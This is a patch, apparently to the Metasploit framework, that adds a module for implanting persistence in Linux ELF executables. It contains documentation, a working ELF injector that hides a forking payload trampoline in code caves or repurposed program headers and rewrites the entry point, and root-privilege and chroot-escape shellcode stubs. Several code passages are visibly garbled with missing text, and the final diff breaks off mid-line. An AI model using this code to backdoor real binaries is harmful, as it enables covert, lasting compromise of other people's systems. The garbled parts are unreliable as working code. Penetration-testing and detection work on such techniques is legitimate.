From c33f8dc8f4f8011daed228d894ed68f653097f97 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 28 Aug 2026 15:06:23 +0200 Subject: [PATCH 1/2] feat: new persistence/elf module --- .../modules/exploit/linux/persistence/elf.md | 75 ++++ lib/msf/core/exe/elf_injector.rb | 368 ++++++++++++++++++ lib/msf/core/exe/elf_injector/a_arch64.rb | 95 +++++ lib/msf/core/exe/elf_injector/x64.rb | 82 ++++ lib/msf/core/exe/elf_injector/x86.rb | 39 ++ .../core/payload/linux/aarch64/prepends.rb | 108 ++++- lib/msf/core/payload/linux/prepends.rb | 10 + lib/msf/core/payload/linux/x64/prepends.rb | 251 ++++++------ lib/msf/core/payload/linux/x86/prepends.rb | 230 ++++++----- modules/exploits/linux/persistence/elf.rb | 154 ++++++++ spec/lib/msf/core/exe/elf_injector_spec.rb | 78 ++++ .../msf/core/payload/linux/prepends_spec.rb | 43 ++ 12 files changed, 1301 insertions(+), 232 deletions(-) create mode 100644 documentation/modules/exploit/linux/persistence/elf.md create mode 100644 lib/msf/core/exe/elf_injector.rb create mode 100644 lib/msf/core/exe/elf_injector/a_arch64.rb create mode 100644 lib/msf/core/exe/elf_injector/x64.rb create mode 100644 lib/msf/core/exe/elf_injector/x86.rb create mode 100644 modules/exploits/linux/persistence/elf.rb create mode 100644 spec/lib/msf/core/exe/elf_injector_spec.rb create mode 100644 spec/lib/msf/core/payload/linux/prepends_spec.rb diff --git a/documentation/modules/exploit/linux/persistence/elf.md b/documentation/modules/exploit/linux/persistence/elf.md new file mode 100644 index 0000000000000..a56ece86f3850 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/elf.md @@ -0,0 +1,75 @@ +## Vulnerable Application + +This module targets writable Linux ELF executables. It supports little-endian +x86, x64, and AArch64 ET_EXEC and ET_DYN files. It first tries to place the +trampoline and payload in zero-filled padding after an executable PT_LOAD +segment. If that is unsuitable, a PT_NULL or non-GNU-property PT_NOTE program +header is reused for an added executable segment. + +Use a disposable copy of a standard executable when setting up a test target: + +```sh +cp /bin/true /tmp/persistent-true +chmod u+w /tmp/persistent-true +``` + +The module changes the executable PT_LOAD size or a reusable program header and +the entry point, so signed or integrity-monitored executables are unsuitable +targets. + +## Verification Steps + +1. Start a Linux meterpreter or shell session. +1. Copy a compatible ELF to a writable location on the target. +1. Start msfconsole. +1. Do: `use exploit/linux/persistence/elf` +1. Do: `set SESSION ` +1. Do: `set ELF_PATH /tmp/persistent-true` +1. Select the target and payload matching the ELF architecture. +1. Set the payload options, including `LHOST` and `LPORT` for a reverse payload. +1. Do: `run` +1. Launch `/tmp/persistent-true` on the target. +1. The payload should connect while the original executable exits normally. + +## Options + +### ELF_PATH + +Absolute path of one existing ELF executable to modify. The file must be +readable, writable, executable, and compatible with the selected target. + +### DisablePayloadHandler + +Set this advanced option to `true` to install the persistence without starting +or waiting on a handler. + +### PrependExecOnce + +Set this payload advanced option to `true` to atomically create a randomized +marker under `/dev/shm` and run the payload only when marker creation succeeds. +The marker is normally cleared at reboot. `/dev/shm` must be writable by the +account that launches the modified ELF. + +### CleanUpRc + +When enabled on a Meterpreter session, the module writes a cleanup resource +file that restores the original ELF from the loot backup. Shell sessions still +create the loot backup but do not create the resource file. + +## Targets + +Select `Linux x64`, `Linux x86`, or `Linux AArch64` to match the ELF file. The +selected Metasploit payload must have the same native architecture. + +## Limitations + +The payload is only triggered when the modified ELF is executed. The module +does not support shared objects without an entry point or big-endian ELFs. An +ELF without enough executable segment padding needs a reusable PT_NULL or +PT_NOTE program header. Code-cave injection preserves file size; segment +injection can increase it. Both techniques change contents, the entry point, +program headers, and integrity hashes while preserving the original file mode. + +## Scenarios + +Manual verification output must be supplied by the module contributor. diff --git a/lib/msf/core/exe/elf_injector.rb b/lib/msf/core/exe/elf_injector.rb new file mode 100644 index 0000000000000..0dca8c9989a72 --- /dev/null +++ b/lib/msf/core/exe/elf_injector.rb @@ -0,0 +1,368 @@ +# frozen_string_literal: true + +require 'metasm' + +module Msf + module Exe + # Injects a forked payload into an ELF code cave or a reusable program header. + class ElfInjector + ET_EXEC = 2 + ET_DYN = 3 + + PT_NULL = 0 + PT_LOAD = 1 + PT_NOTE = 4 + PT_GNU_PROPERTY = 0x6474e553 + + SHT_NOBITS = 8 + + PF_X = 1 + PF_R = 4 + + MAX_ALIGNMENT = 0x200000 + MARKER = "\x00msfelfinject\x01\x00".b.freeze + + CLASS_BITS = { + 1 => 32, + 2 => 64 + }.freeze + + MACHINE_ARCHITECTURES = { + 3 => :x86, + 62 => :x64, + 183 => :aarch64 + }.freeze + + EXPECTED_PROGRAM_HEADER_SIZES = { + 32 => 32, + 64 => 56 + }.freeze + + EXPECTED_SECTION_HEADER_SIZES = { + 32 => 40, + 64 => 64 + }.freeze + + # @return [Symbol, nil] Injection technique used by the last call to generate. + attr_reader :technique + + # @param template [String] Contents of the ELF executable to modify. + # @param payload [String] Position-independent Linux shellcode to inject. + def initialize(template:, payload: ''.b) + raise ArgumentError, 'template must be a String' unless template.is_a?(String) + raise ArgumentError, 'payload must be a String' unless payload.is_a?(String) + + @template = template.b + @payload = payload.b + parse_header + parse_program_headers + parse_section_headers + end + + # @return [Symbol] The ELF architecture. + def architecture + MACHINE_ARCHITECTURES.fetch(@machine) + end + + # @return [Boolean] Whether this injector's marker is present. + def injected? + @template.include?(MARKER) + end + + # @return [String] A modified ELF that forks the payload and resumes the original entry point. + def generate + raise ArgumentError, 'ELF is already injected' if injected? + raise ArgumentError, 'payload must not be empty' if @payload.empty? + + code_cave = find_code_cave + return inject_code_cave(code_cave) if code_cave + + inject_new_segment + end + + private + + def inject_new_segment + program_header = reusable_program_header + alignment = segment_alignment + injected_offset = align_up(@template.bytesize, alignment) + injected_address = align_up(load_segments.map { |segment| segment[:virtual_address] + segment[:memory_size] }.max, alignment) + trampoline = build_trampoline(injected_address) + injected_data = trampoline + @payload + MARKER + + modified = @template.dup + modified << "\x00".b * (injected_offset - modified.bytesize) + modified << injected_data + modified[@entrypoint_offset, @word_size] = pack_word(injected_address) + modified[program_header[:header_offset], @program_header_size] = encode_program_header( + type: PT_LOAD, + flags: PF_R | PF_X, + offset: injected_offset, + virtual_address: injected_address, + physical_address: injected_address, + file_size: injected_data.bytesize, + memory_size: injected_data.bytesize, + alignment: alignment + ) + @technique = :program_header + modified + end + + def inject_code_cave(code_cave) + segment = code_cave.fetch(:segment).dup + segment[:file_size] += code_cave.fetch(:data).bytesize + segment[:memory_size] = [segment[:memory_size], segment[:file_size]].max + + modified = @template.dup + modified[code_cave.fetch(:offset), code_cave.fetch(:data).bytesize] = code_cave.fetch(:data) + modified[@entrypoint_offset, @word_size] = pack_word(code_cave.fetch(:address)) + modified[segment[:header_offset], @program_header_size] = encode_program_header(segment) + @technique = :code_cave + modified + end + + def parse_header + raise ArgumentError, 'template is too small to be an ELF' if @template.bytesize < 52 + raise ArgumentError, 'template does not contain an ELF magic value' unless @template.start_with?("\x7fELF".b) + + @bits = CLASS_BITS[@template.getbyte(4)] + raise ArgumentError, 'unsupported ELF class' unless @bits + raise ArgumentError, 'only little-endian ELF executables are supported' unless @template.getbyte(5) == 1 + raise ArgumentError, 'unsupported ELF machine architecture' unless MACHINE_ARCHITECTURES.key?(read_integer(18, 2)) + + @machine = read_integer(18, 2) + @type = read_integer(16, 2) + raise ArgumentError, 'ELF must be ET_EXEC or ET_DYN' unless [ET_EXEC, ET_DYN].include?(@type) + + if @bits == 32 + @word_size = 4 + @entrypoint_offset = 24 + @entrypoint = read_integer(@entrypoint_offset, @word_size) + @program_header_offset = read_integer(28, 4) + @section_header_offset = read_integer(32, 4) + @program_header_size = read_integer(42, 2) + @program_header_count = read_integer(44, 2) + @section_header_size = read_integer(46, 2) + @section_header_count = read_integer(48, 2) + else + raise ArgumentError, 'template is too small to be a 64-bit ELF' if @template.bytesize < 64 + + @word_size = 8 + @entrypoint_offset = 24 + @entrypoint = read_integer(@entrypoint_offset, @word_size) + @program_header_offset = read_integer(32, 8) + @section_header_offset = read_integer(40, 8) + @program_header_size = read_integer(54, 2) + @program_header_count = read_integer(56, 2) + @section_header_size = read_integer(58, 2) + @section_header_count = read_integer(60, 2) + end + + raise ArgumentError, 'ELF has an invalid program header size' unless @program_header_size == EXPECTED_PROGRAM_HEADER_SIZES[@bits] + raise ArgumentError, 'ELF has an invalid program header count' unless @program_header_count.between?(1, 128) + + table_end = @program_header_offset + (@program_header_size * @program_header_count) + raise ArgumentError, 'ELF program header table is truncated' if table_end > @template.bytesize + end + + def parse_program_headers + @program_headers = Array.new(@program_header_count) do |index| + header_offset = @program_header_offset + (@program_header_size * index) + if @bits == 32 + values = @template.byteslice(header_offset, @program_header_size).unpack('V8') + { + header_offset: header_offset, + type: values[0], + offset: values[1], + virtual_address: values[2], + physical_address: values[3], + file_size: values[4], + memory_size: values[5], + flags: values[6], + alignment: values[7] + } + else + values = @template.byteslice(header_offset, @program_header_size).unpack('VVQ= segment[:file_size] && segment[:offset] + segment[:file_size] <= @template.bytesize + end + raise ArgumentError, 'ELF has an invalid loadable segment' + end + raise ArgumentError, 'ELF entry point is not in an executable segment' unless load_segments.any? do |segment| + segment[:flags] & PF_X != 0 && @entrypoint >= segment[:virtual_address] && @entrypoint < segment[:virtual_address] + segment[:memory_size] + end + end + + def parse_section_headers + @section_ranges = [] + @section_metadata_valid = @section_header_offset.zero? && @section_header_count.zero? + return if @section_header_count.zero? + return unless @section_header_size == EXPECTED_SECTION_HEADER_SIZES[@bits] + + table_size = @section_header_size * @section_header_count + table_end = @section_header_offset + table_size + return if @section_header_offset.zero? || table_end > @template.bytesize + + @section_ranges << [@section_header_offset, table_end] + valid = true + @section_header_count.times do |index| + header_offset = @section_header_offset + (@section_header_size * index) + section_type = read_integer(header_offset + 4, 4) + section_offset = read_integer(header_offset + (@bits == 32 ? 16 : 24), @word_size) + section_size = read_integer(header_offset + (@bits == 32 ? 20 : 32), @word_size) + next if section_type == SHT_NOBITS || section_size.zero? + + section_end = section_offset + section_size + if section_end > @template.bytesize + valid = false + break + end + + @section_ranges << [section_offset, section_end] + end + @section_ranges.clear unless valid + @section_metadata_valid = valid + end + + def load_segments + @program_headers.select { |segment| segment[:type] == PT_LOAD } + end + + def find_code_cave + return unless @section_metadata_valid + + load_segments.each do |segment| + next unless segment[:flags] & PF_X != 0 + + offset = segment[:offset] + segment[:file_size] + segment_end_address = segment[:virtual_address] + segment[:file_size] + padding_size = align_up(segment_end_address, instruction_alignment) - segment_end_address + address = segment_end_address + padding_size + file_capacity = file_code_cave_capacity(segment, offset) + memory_capacity = memory_code_cave_capacity(segment, segment_end_address) + next if file_capacity <= 0 || memory_capacity <= 0 + + data = ("\x00".b * padding_size) + build_trampoline(address) + @payload + MARKER + next if data.bytesize > [file_capacity, memory_capacity].min + + cave = @template.byteslice(offset, data.bytesize) + next unless cave && cave.bytes.all?(&:zero?) + + return { segment: segment, offset: offset, address: address, data: data } + end + nil + end + + def file_code_cave_capacity(segment, offset) + ranges = @program_headers.filter_map do |header| + next if header.equal?(segment) || header[:file_size].zero? + + [header[:offset], header[:offset] + header[:file_size]] + end + ranges.concat(@section_ranges) + return 0 if ranges.any? { |range_start, range_end| range_start < offset && range_end > offset } + + boundary = ranges.filter_map { |range_start, _range_end| range_start if range_start >= offset }.min || @template.bytesize + [boundary, @template.bytesize].min - offset + end + + def memory_code_cave_capacity(segment, address) + return 0 if load_segments.any? do |header| + !header.equal?(segment) && header[:virtual_address] < address && header[:virtual_address] + header[:memory_size] > address + end + + mapped_capacity = segment[:virtual_address] + segment[:memory_size] - address + return mapped_capacity if mapped_capacity.positive? + + boundary = load_segments.filter_map { |header| header[:virtual_address] if header[:virtual_address] > address }.min + boundary ? boundary - address : 0 + end + + def reusable_program_header + null_header = @program_headers.find { |header| header[:type] == PT_NULL } + return null_header if null_header + + property_ranges = @program_headers.select { |header| header[:type] == PT_GNU_PROPERTY }.map do |header| + [header[:offset], header[:file_size]] + end + note_header = @program_headers.find do |header| + header[:type] == PT_NOTE && !property_ranges.include?([header[:offset], header[:file_size]]) + end + raise ArgumentError, 'ELF has no reusable PT_NULL or PT_NOTE program header' unless note_header + + note_header + end + + def segment_alignment + alignment = [0x1000, *load_segments.map { |segment| segment[:alignment] }].max + unless alignment.positive? && (alignment & (alignment - 1)).zero? && alignment <= MAX_ALIGNMENT + raise ArgumentError, 'ELF segment alignment is unsupported' + end + + alignment + end + + def encode_program_header(header) + if @bits == 32 + header.values_at(:type, :offset, :virtual_address, :physical_address, :file_size, :memory_size, :flags, :alignment).pack('V8') + else + header.values_at(:type, :flags, :offset, :virtual_address, :physical_address, :file_size, :memory_size, :alignment).pack('VVQ immediate)) + end + + def instruction(name, **fields) + opcode = processor.opcode_list_byname.fetch(name).find do |candidate| + candidate.args == fields.keys && !candidate.props[:r_32] && !candidate.props[:mem_incr] + end + raise Metasm::EncodeError, "Unsupported AArch64 instruction: #{name}" unless opcode + + word = fields.reduce(opcode.bin) do |encoded, (field, value)| + mask, shift = opcode.fields.fetch(field) + encoded | ((value & mask) << shift) + end + [word].pack('V') + end + + def processor + @processor ||= Metasm::ARM64.new + end + end + end + end +end diff --git a/lib/msf/core/exe/elf_injector/x64.rb b/lib/msf/core/exe/elf_injector/x64.rb new file mode 100644 index 0000000000000..3e354de35e540 --- /dev/null +++ b/lib/msf/core/exe/elf_injector/x64.rb @@ -0,0 +1,82 @@ +# frozen_string_literal: true + +module Msf + module Exe + class ElfInjector + # Builds an x64 trampoline that forks before running the payload. + class X64 + ASSEMBLY = %q{ + pushfq + push rax + push rcx + push rdx + push rbx + push rbp + push rsi + push rdi + push r8 + push r9 + push r10 + push r11 + push r12 + push r13 + push r14 + push r15 + push 57 + pop rax + syscall + test rax, rax + jz child + pop r15 + pop r14 + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + pop rdi + pop rsi + pop rbp + pop rbx + pop rdx + pop rcx + pop rax + popfq + jmp entrypoint + child: + pop r15 + pop r14 + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + pop rdi + pop rsi + pop rbp + pop rbx + pop rdx + pop rcx + pop rax + popfq + } + + # @param entrypoint [Integer] Original ELF entry point. + # @param injected_address [Integer] Virtual address of the injected segment. + def initialize(entrypoint:, injected_address:) + @entrypoint = entrypoint + @injected_address = injected_address + end + + # @return [String] Encoded x64 trampoline. + def generate + shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, ASSEMBLY) + shellcode.base_addr = @injected_address + shellcode.encode_string('entrypoint' => @entrypoint) + end + end + end + end +end diff --git a/lib/msf/core/exe/elf_injector/x86.rb b/lib/msf/core/exe/elf_injector/x86.rb new file mode 100644 index 0000000000000..e823d6d5dbb7b --- /dev/null +++ b/lib/msf/core/exe/elf_injector/x86.rb @@ -0,0 +1,39 @@ +# frozen_string_literal: true + +module Msf + module Exe + class ElfInjector + # Builds an x86 trampoline that forks before running the payload. + class X86 + ASSEMBLY = %q{ + pushfd + pushad + mov eax, 2 + int 0x80 + test eax, eax + jz child + popad + popfd + jmp entrypoint + child: + popad + popfd + } + + # @param entrypoint [Integer] Original ELF entry point. + # @param injected_address [Integer] Virtual address of the injected segment. + def initialize(entrypoint:, injected_address:) + @entrypoint = entrypoint + @injected_address = injected_address + end + + # @return [String] Encoded x86 trampoline. + def generate + shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, ASSEMBLY) + shellcode.base_addr = @injected_address + shellcode.encode_string('entrypoint' => @entrypoint) + end + end + end + end +end diff --git a/lib/msf/core/payload/linux/aarch64/prepends.rb b/lib/msf/core/payload/linux/aarch64/prepends.rb index e03ad3422b26c..2f4ec942f0f43 100644 --- a/lib/msf/core/payload/linux/aarch64/prepends.rb +++ b/lib/msf/core/payload/linux/aarch64/prepends.rb @@ -5,7 +5,7 @@ module Msf::Payload::Linux::Aarch64::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependSetresuid PrependSetreuid PrependSetuid] + %w[PrependExecOnce PrependSetresuid PrependSetreuid PrependSetuid] end def appends_order @@ -13,30 +13,96 @@ def appends_order end def prepends_map - { - # 'PrependFork' => "", - - # setuid(0) - 'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\x48\x12\x80\xd2" + # mov x8, #0x92 - "\x01\x00\x00\xd4", # svc 0x0 - - # setreuid(0, 0) - 'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\xe1\x03\x1f\xaa" + # mov x1, xzr - "\x28\x12\x80\xd2" + # mov x8, #0x91 - "\x01\x00\x00\xd4", # svc 0x0 - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\xe1\x03\x1f\xaa" + # mov x1, xzr - "\xe2\x03\x1f\xaa" + # mov x2, xzr - "\x68\x12\x80\xd2" + # mov x8, #0x93 - "\x01\x00\x00\xd4" # svc 0x0 + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependSetuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x92), + aarch64_instruction('svc', i16_5: 0) + ].join, + 'PrependSetreuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 1, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x91), + aarch64_instruction('svc', i16_5: 0) + ].join, + 'PrependSetresuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 1, rm: 31), + aarch64_instruction('mov', rt: 2, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x93), + aarch64_instruction('svc', i16_5: 0) + ].join } end def appends_map {} end + + private + + def prepend_exec_once + return @prepend_exec_once if @prepend_exec_once + + marker = "#{prepend_exec_once_path}\x00".b + marker_offset = 56 + payload_offset = aarch64_align_up(marker_offset + marker.bytesize, 4) + instructions = [ + aarch64_adr(marker_offset), + aarch64_instruction('movn', rt: 0, il18_5: 99), + aarch64_instruction('mov', rt: 2, i16_5: 0xc1), + aarch64_instruction('mov', rt: 3, i16_5: 0x180), + aarch64_instruction('mov', rt: 8, i16_5: 56), + aarch64_instruction('svc', i16_5: 0), + aarch64_instruction('subs', rt: 31, rn: 0, i12_10_s1: 0), + aarch64_branch('blt', 28, 44), + aarch64_instruction('mov', rt: 8, i16_5: 57), + aarch64_instruction('svc', i16_5: 0), + aarch64_branch('b', 40, payload_offset, bits: 26, field: :i26_0), + aarch64_instruction('mov', rt: 0, i16_5: 0), + aarch64_instruction('mov', rt: 8, i16_5: 93), + aarch64_instruction('svc', i16_5: 0) + ] + @prepend_exec_once = (instructions.join + marker).ljust(payload_offset, "\x00".b) + end + + def aarch64_adr(destination) + immediate = destination + encoded = ((immediate & 3) << 29) | (((immediate >> 2) & 0x7ffff) << 5) + aarch64_instruction('adr', rt: 1, i19_5_2_29: encoded) + end + + def aarch64_branch(name, instruction_address, destination, bits: 19, field: :i19_5) + displacement = destination - instruction_address + raise Metasm::EncodeError, 'AArch64 branch destination is not instruction-aligned' unless (displacement % 4).zero? + + immediate = displacement / 4 + minimum = -(1 << (bits - 1)) + maximum = (1 << (bits - 1)) - 1 + raise Metasm::EncodeError, 'AArch64 branch destination is too far away' unless immediate.between?(minimum, maximum) + + aarch64_instruction(name, **{ field => immediate }) + end + + def aarch64_instruction(name, **fields) + opcode = aarch64_processor.opcode_list_byname.fetch(name).find do |candidate| + candidate.args == fields.keys && !candidate.props[:r_32] && !candidate.props[:mem_incr] + end + raise Metasm::EncodeError, "Unsupported AArch64 instruction: #{name}" unless opcode + + word = fields.reduce(opcode.bin) do |encoded, (field, value)| + mask, shift = opcode.fields.fetch(field) + encoded | ((value & mask) << shift) + end + [word].pack('V') + end + + def aarch64_processor + @aarch64_processor ||= Metasm::ARM64.new + end + + def aarch64_align_up(value, alignment) + (value + alignment - 1) & -alignment + end end diff --git a/lib/msf/core/payload/linux/prepends.rb b/lib/msf/core/payload/linux/prepends.rb index 79d09d24d4d21..175c05f480d0d 100644 --- a/lib/msf/core/payload/linux/prepends.rb +++ b/lib/msf/core/payload/linux/prepends.rb @@ -1,3 +1,6 @@ +require 'metasm' +require 'rex/text' + # # Linux Preprends shared logic. # @@ -9,6 +12,7 @@ def initialize(info) def register_prepend_options all_options = { + 'PrependExecOnce' => [false, 'Prepend a stub that runs the payload once per boot using a /dev/shm marker', 'false'], 'PrependFork' => [false, 'Prepend a stub that starts the payload in its own process via fork', 'false'], 'PrependSetresuid' => [false, 'Prepend a stub that executes the setresuid(0, 0, 0) system call', 'false'], 'PrependSetreuid' => [false, 'Prepend a stub that executes the setreuid(0, 0) system call', 'false'], @@ -46,4 +50,10 @@ def apply_prepends(buf) buf.force_encoding('ASCII-8BIT') + app.force_encoding('ASCII-8BIT') end + + private + + def prepend_exec_once_path + @prepend_exec_once_path ||= "/dev/shm/.msf-#{Rex::Text.rand_text_alpha_lower(12)}" + end end diff --git a/lib/msf/core/payload/linux/x64/prepends.rb b/lib/msf/core/payload/linux/x64/prepends.rb index bffc48ba48fde..3c9cc4ce47c77 100644 --- a/lib/msf/core/payload/linux/x64/prepends.rb +++ b/lib/msf/core/payload/linux/x64/prepends.rb @@ -4,7 +4,7 @@ module Msf::Payload::Linux::X64::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid] + %w[PrependExecOnce PrependFork PrependSetresuid PrependSetreuid PrependSetuid] end def appends_order @@ -12,121 +12,148 @@ def appends_order end def prepends_map - { - 'PrependFork' => "\x6a\x39" + # push 57 ; __NR_fork # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\x48\x85\xc0" + # test rax,rax # - "\x74\x08" + # jz loc_0012 # - # loc_000a: # - "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x3c" + # push 60 ; __NR_exit # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - # loc_0012: # - "\x04\x70" + # add al, 112 ; __NR_setsid # - "\x0f\x05" + # syscall # - "\x6a\x39" + # push 57 ; __NR_fork # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\x48\x85\xc0" + # test rax,rax # - "\x75\xea", # jnz loc_000a # - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x6a\x75" + # push 0x75 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setreuid(0, 0) - 'PrependSetreuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf2" + # mov rdx,rsi # - "\x6a\x71" + # push 0x71 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setuid(0) - 'PrependSetuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x69" + # push 0x69 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setresgid(0, 0, 0) - 'PrependSetresgid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x6a\x77" + # push 0x77 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setregid(0, 0) - 'PrependSetregid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf2" + # mov rdx,rsi # - "\x6a\x72" + # push 0x72 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setgid(0) - 'PrependSetgid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x6a" + # push 0x6a # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setreuid(0, 0) + break chroot - 'PrependChrootBreak' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf8" + # mov rax,rdi # - "\xb0\x71" + # mov al,0x71 # - "\x0f\x05" + # syscall # - # generate temp dir name - "\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + # mov rdi, # - "\x56" + # push rsi # - "\x57" + # push rdi # - # mkdir(random,0755) - "\x48\x89\xe7" + # mov rdi,rsp # - "\x66\xbe\xed\x01" + # mov si,0755 # - "\x6a\x53" + # push 0x53 # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - - # chroot(random) - "\x48\x31\xd2" + # xor rdx,rdx # - "\xb2\xa1" + # mov dl,0xa1 # - "\x48\x89\xd0" + # mov rax,rdx # - "\x0f\x05" + # syscall # + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependFork' => x64_assemble(%( + push 0x39 + pop rax + syscall + test rax, rax + jz child + parent: + xor rdi, rdi + push 0x3c + pop rax + syscall + child: + add al, 0x70 + syscall + push 0x39 + pop rax + syscall + test rax, rax + jnz parent + )), + 'PrependSetresuid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + push 0x75 + pop rax + syscall + )), + 'PrependSetreuid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rdx, rsi + push 0x71 + pop rax + syscall + )), + 'PrependSetuid' => x64_assemble(%( + xor rdi, rdi + push 0x69 + pop rax + syscall + )), + 'PrependSetresgid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + push 0x77 + pop rax + syscall + )), + 'PrependSetregid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rdx, rsi + push 0x72 + pop rax + syscall + )), + 'PrependSetgid' => x64_assemble(%( + xor rdi, rdi + push 0x6a + pop rax + syscall + )), + 'PrependChrootBreak' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rax, rdi + mov al, 0x71 + syscall + mov rdi, 0x#{Rex::Text.rand_text_alpha(8).unpack1('Q<').to_s(16)} + push rsi + push rdi + mov rdi, rsp + mov si, 0x1ed + push 0x53 + pop rax + syscall + xor rdx, rdx + mov dl, 0xa1 + mov rax, rdx + syscall + mov si, 0x2e2e + push rsi + mov rdi, rsp + push 0x45 + pop rbx + chdir_loop: + push 0x50 + pop rax + syscall + dec bl + jnz chdir_loop + push 0x2e + mov rdi, rsp + mov rax, rdx + syscall + )) + } + end - # build .. (ptr in rdi ) - "\x66\xbe\x2e\x2e" + # mov si,0x2e2e # - "\x56" + # push rsi # - "\x48\x89\xe7" + # mov rdi,rsp # + def appends_map + @appends_map ||= { + 'AppendExit' => x64_assemble(%( + xor rdi, rdi + push 0x3c + pop rax + syscall + )) + } + end - # loop chdir(..) 69 times - # syscall tend to modify rcx can't use loop... - "\x6a\x45" + # push 0x45 # - "\x5b" + # pop rbx # - "\x6a\x50" + # push 0x50 # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\xfe\xcb" + # dec bl # - "\x75\xf7" + # jnz -7 # + private - # chroot (.) (which should be /) - "\x6a\x2e" + # push . (0x2e) # - "\x48\x89\xe7" + # mov rdi,rsp # - "\x48\x89\xd0" + # mov rax,rdx # - "\x0f\x05" - } # syscall # + def prepend_exec_once + @prepend_exec_once ||= x64_assemble(%( + jmp marker + open_marker: + pop rsi + mov edi, -100 + mov edx, 0xc1 + mov r10d, 0x180 + mov eax, 257 + syscall + test eax, eax + js stop + mov edi, eax + mov eax, 3 + syscall + jmp payload + stop: + xor edi, edi + mov eax, 60 + syscall + marker: + call open_marker + db '#{prepend_exec_once_path}', 0 + payload: + )) end - def appends_map - { - # exit(0) - 'AppendExit' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x3c" + # push 0x3c # - "\x58" + # pop rax # - "\x0f\x05" # syscall # - } + def x64_assemble(source) + Metasm::Shellcode.assemble(Metasm::X64.new, source).encode_string end end diff --git a/lib/msf/core/payload/linux/x86/prepends.rb b/lib/msf/core/payload/linux/x86/prepends.rb index 27462e9626c48..e49f8b54f09bb 100644 --- a/lib/msf/core/payload/linux/x86/prepends.rb +++ b/lib/msf/core/payload/linux/x86/prepends.rb @@ -4,7 +4,7 @@ module Msf::Payload::Linux::X86::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak] + %w[PrependExecOnce PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak] end def appends_order @@ -12,108 +12,140 @@ def appends_order end def prepends_map - { - 'PrependFork' => "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x74\x06" + # jz loc_000f # - # loc_0009: - "\x31\xc0" + # xor %eax,%eax # - "\xb0\x01" + # movb $0x1,%al # - "\xcd\x80" + # int $0x80 ; exit # - # loc_000f: - "\xb0\x42" + # movb %0x42,%al # - "\xcd\x80" + # int $0x80 ; setsid # - "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x75\xed", # jnz loc_0009 # - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xa4" + # movb $0xa4,%al # - "\xcd\x80", # int $0x80 # - - # setreuid(0, 0) - 'PrependSetreuid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setuid(0) - 'PrependSetuid' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x17" + # pushl $0x17 # - 